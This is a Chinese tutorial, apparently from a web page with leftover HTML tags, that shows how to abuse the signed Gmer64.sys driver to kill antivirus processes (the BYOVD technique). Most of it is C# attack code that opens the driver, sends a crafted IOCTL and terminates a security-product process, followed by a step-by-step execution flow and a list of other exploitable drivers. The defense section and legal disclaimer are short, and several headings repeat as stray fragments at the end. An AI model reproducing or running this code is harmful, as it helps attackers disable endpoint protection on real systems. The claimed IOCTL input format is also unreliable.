BYOVD技术实战：利用内核驱动关闭杀软进程<\/h1>

1. BYOVD技术概述<\/h2>
BYOVD（Bring Your Own Vulnerable Driver）是一种高级对抗技术，攻击者通过植入易受攻击的合法驱动程序到目标系统，利用这些驱动的漏洞执行恶意操作。由于这些驱动程序通常具有合法的数字签名，安全软件会信任它们，从而绕过检测。<\/p>

技术特点：<\/h3>

使用已签名的合法驱动程序<\/li>
利用驱动程序的漏洞实现特权提升或绕过安全机制<\/li>
在内核层面进行操作，具有高权限<\/li>

难以被传统安全软件检测<\/li> <\/ul>

2. 目标驱动分析：Gmer64.sys<\/h2>
Gmer64.sys是一款反rootkit工具的驱动程序，存在以下关键漏洞：<\/p>

漏洞细节：<\/h3>

IOCTL处理漏洞<\/strong>：驱动程序的IOCTL（输入输出控制）接口存在设计缺陷<\/li>
权限检查缺失<\/strong>：未对调用者权限进行充分验证<\/li>

内存操作漏洞<\/strong>：允许用户模式程序直接操作内核内存<\/li> <\/ol>
关键IOCTL代码：<\/h3>
#define GMER_IOCTL_CODE 0x80002000 <\/span><\/span><\/span><\/code><\/pre>3. 漏洞利用原理<\/h2> 利用Gmer64.sys的IOCTL接口，我们可以实现以下操作：<\/p> 获取内核对象地址<\/strong>：通过驱动泄露内核信息<\/li> 直接内存操作<\/strong>：修改关键数据结构<\/li> 进程终止<\/strong>：直接操作EPROCESS结构终止进程<\/li> <\/ol> 4. 利用代码实现（C#）<\/h2> 4.1 驱动加载<\/h3> using<\/span> System; <\/span><\/span>using<\/span> System.Runtime.InteropServices; <\/span><\/span>using<\/span> Microsoft.Win32.SafeHandles; <\/span><\/span> <\/span><\/span>public<\/span> class<\/span> DriverLoader<\/span> <\/span><\/span>{ <\/span><\/span> [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]<\/span> <\/span><\/span> public<\/span> static<\/span> extern<\/span> SafeFileHandle CreateFile( <\/span><\/span> string<\/span> lpFileName, <\/span><\/span> uint<\/span> dwDesiredAccess, <\/span><\/span> uint<\/span> dwShareMode, <\/span><\/span> IntPtr lpSecurityAttributes, <\/span><\/span> uint<\/span> dwCreationDisposition, <\/span><\/span> uint<\/span> dwFlagsAndAttributes, <\/span><\/span> IntPtr hTemplateFile); <\/span><\/span> <\/span><\/span><\/span> [DllImport("kernel32.dll", SetLastError = true)]<\/span> <\/span><\/span> public<\/span> static<\/span> extern<\/span> bool<\/span> CloseHandle(IntPtr hObject); <\/span><\/span> <\/span><\/span> public<\/span> const<\/span> uint<\/span> GENERIC_READ = 0x80000000<\/span>; <\/span><\/span> public<\/span> const<\/span> uint<\/span> GENERIC_WRITE = 0x40000000<\/span>; <\/span><\/span> public<\/span> const<\/span> uint<\/span> OPEN_EXISTING = 3<\/span>; <\/span><\/span> public<\/span> const<\/span> uint<\/span> FILE_ATTRIBUTE_NORMAL = 0x80<\/span>; <\/span><\/span> public<\/span> const<\/span> uint<\/span> FILE_SHARE_READ = 0x1<\/span>; <\/span><\/span> public<\/span> const<\/span> uint<\/span> FILE_SHARE_WRITE = 0x2<\/span>; <\/span><\/span> <\/span><\/span> public<\/span> static<\/span> SafeFileHandle LoadDriver(string<\/span> driverPath) <\/span><\/span> { <\/span><\/span> SafeFileHandle hDevice = CreateFile( <\/span><\/span> driverPath, <\/span><\/span> GENERIC_READ | GENERIC_WRITE, <\/span><\/span> FILE_SHARE_READ | FILE_SHARE_WRITE, <\/span><\/span> IntPtr.Zero, <\/span><\/span> OPEN_EXISTING, <\/span><\/span> FILE_ATTRIBUTE_NORMAL, <\/span><\/span> IntPtr.Zero); <\/span><\/span> <\/span><\/span> if<\/span> (hDevice.IsInvalid) <\/span><\/span> { <\/span><\/span> throw<\/span> new<\/span> Exception("Failed to open driver. Error: "<\/span> + Marshal.GetLastWin32Error()); <\/span><\/span> } <\/span><\/span> <\/span><\/span> return<\/span> hDevice; <\/span><\/span> } <\/span><\/span>} <\/span><\/span><\/code><\/pre>4.2 IOCTL通信<\/h3> [DllImport("kernel32.dll", SetLastError = true)]<\/span> <\/span><\/span>public<\/span> static<\/span> extern<\/span> bool<\/span> DeviceIoControl( <\/span><\/span> SafeFileHandle hDevice, <\/span><\/span> uint<\/span> dwIoControlCode, <\/span><\/span> IntPtr lpInBuffer, <\/span><\/span> uint<\/span> nInBufferSize, <\/span><\/span> IntPtr lpOutBuffer, <\/span><\/span> uint<\/span> nOutBufferSize, <\/span><\/span> out<\/span> uint<\/span> lpBytesReturned, <\/span><\/span> IntPtr lpOverlapped); <\/span><\/span> <\/span><\/span>public<\/span> const<\/span> uint<\/span> GMER_IOCTL_CODE = 0x80002000<\/span>; <\/span><\/span> <\/span><\/span>public<\/span> static<\/span> bool<\/span> SendIoctl(SafeFileHandle hDevice, byte<\/span>[] input, byte<\/span>[] output) <\/span><\/span>{ <\/span><\/span> IntPtr inBuffer = Marshal.AllocHGlobal(input.Length); <\/span><\/span> Marshal.Copy(input, 0<\/span>, inBuffer, input.Length); <\/span><\/span> <\/span><\/span> IntPtr outBuffer = Marshal.AllocHGlobal(output.Length); <\/span><\/span> <\/span><\/span> try<\/span> <\/span><\/span> { <\/span><\/span> uint<\/span> bytesReturned; <\/span><\/span> bool<\/span> success = DeviceIoControl( <\/span><\/span> hDevice, <\/span><\/span> GMER_IOCTL_CODE, <\/span><\/span> inBuffer, <\/span><\/span> (uint<\/span>)input.Length, <\/span><\/span> outBuffer, <\/span><\/span> (uint<\/span>)output.Length, <\/span><\/span> out<\/span> bytesReturned, <\/span><\/span> IntPtr.Zero); <\/span><\/span> <\/span><\/span> if<\/span> (success && output.Length > 0<\/span>) <\/span><\/span> { <\/span><\/span> Marshal.Copy(outBuffer, output, 0<\/span>, output.Length); <\/span><\/span> } <\/span><\/span> <\/span><\/span> return<\/span> success; <\/span><\/span> } <\/span><\/span> finally<\/span> <\/span><\/span> { <\/span><\/span> Marshal.FreeHGlobal(inBuffer); <\/span><\/span> Marshal.FreeHGlobal(outBuffer); <\/span><\/span> } <\/span><\/span>} <\/span><\/span><\/code><\/pre>4.3 进程终止实现<\/h3> public<\/span> class<\/span> ProcessTerminator<\/span> <\/span><\/span>{ <\/span><\/span> public<\/span> static<\/span> bool<\/span> TerminateProcess(SafeFileHandle hDevice, int<\/span> processId) <\/span><\/span> { <\/span><\/span> \/\/ 构造输入缓冲区：进程ID + 操作类型<\/span> <\/span><\/span> byte<\/span>[] input = new<\/span> byte<\/span>[8<\/span>]; <\/span><\/span> BitConverter.GetBytes(processId).CopyTo(input, 0<\/span>); <\/span><\/span> BitConverter.GetBytes(1<\/span>).CopyTo(input, 4<\/span>); \/\/ 1表示终止操作<\/span> <\/span><\/span> <\/span><\/span> byte<\/span>[] output = new<\/span> byte<\/span>[4<\/span>]; \/\/ 接收操作结果<\/span> <\/span><\/span> <\/span><\/span> return<\/span> SendIoctl(hDevice, input, output); <\/span><\/span> } <\/span><\/span>} <\/span><\/span><\/code><\/pre>5. 完整利用流程<\/h2> 准备阶段<\/strong>：<\/p> 将Gmer64.sys驱动程序部署到目标系统<\/li> 确保驱动程序可以被加载（可能需要禁用驱动签名强制）<\/li> <\/ul> <\/li> 执行流程<\/strong>：<\/p> \/\/ 1. 加载驱动<\/span> <\/span><\/span>var<\/span> hDevice = DriverLoader.LoadDriver(@"\\.\Gmer64"<\/span>); <\/span><\/span> <\/span><\/span>\/\/ 2. 获取目标杀软进程ID<\/span> <\/span><\/span>int<\/span> avPid = Process.GetProcessesByName("avservice"<\/span>)[0<\/span>].Id; <\/span><\/span> <\/span><\/span>\/\/ 3. 终止进程<\/span> <\/span><\/span>bool<\/span> success = ProcessTerminator.TerminateProcess(hDevice, avPid); <\/span><\/span> <\/span><\/span>\/\/ 4. 清理<\/span> <\/span><\/span>hDevice.Close(); <\/span><\/span><\/code><\/pre><\/li> 错误处理<\/strong>：<\/p> 检查驱动加载是否成功<\/li> 验证IOCTL调用返回值<\/li> 处理权限不足等情况<\/li> <\/ul> <\/li> <\/ol> 6. 防御措施<\/h2> 检测BYOVD攻击：<\/h3> 驱动签名验证<\/strong>：检查加载的驱动程序是否来自可信来源<\/li> 驱动行为监控<\/strong>：监控异常的内核操作<\/li> IOCTL过滤<\/strong>：拦截可疑的驱动通信<\/li> <\/ol> 防护建议：<\/h3> 启用驱动签名强制（DSE）<\/li> 使用具备内核保护功能的安全产品<\/li> 定期审计系统加载的驱动程序<\/li> 限制非管理员用户加载驱动程序的权限<\/li> <\/ol> 7. 扩展知识<\/h2> 其他易受攻击的常用驱动：<\/h3> RTCore64.sys (MSI Afterburner)<\/li> dbutil_2_3.sys (Dell)<\/li> speedfan.sys<\/li> <\/ol> 进阶技术：<\/h3> 利用BYOVD进行内存读写<\/li> 通过驱动漏洞实现DLL注入<\/li> 持久化技术结合BYOVD<\/li> <\/ol> 8. 法律与道德声明<\/h2> BYOVD技术仅可用于合法的安全研究和授权测试。未经授权使用此技术攻击他人系统是违法行为。本文档仅供教育目的，使用者需自行承担风险。<\/p>

BYOVD技术实战：利用内核驱动关闭杀软进程<\/h1>

2. 目标驱动分析：Gmer64.sys<\/h2> Gmer64.sys是一款反rootkit工具的驱动程序，存在以下关键漏洞：<\/p>

4. 利用代码实现（C#）<\/h2>

6. 防御措施<\/h2>

7. 扩展知识<\/h2>

8. 法律与道德声明<\/h2> BYOVD技术仅可用于合法的安全研究和授权测试。未经授权使用此技术攻击他人系统是违法行为。本文档仅供教育目的，使用者需自行承担风险。<\/p>

2. 目标驱动分析：Gmer64.sys<\/h2>
Gmer64.sys是一款反rootkit工具的驱动程序，存在以下关键漏洞：<\/p>

8. 法律与道德声明<\/h2>
BYOVD技术仅可用于合法的安全研究和授权测试。未经授权使用此技术攻击他人系统是违法行为。本文档仅供教育目的，使用者需自行承担风险。<\/p>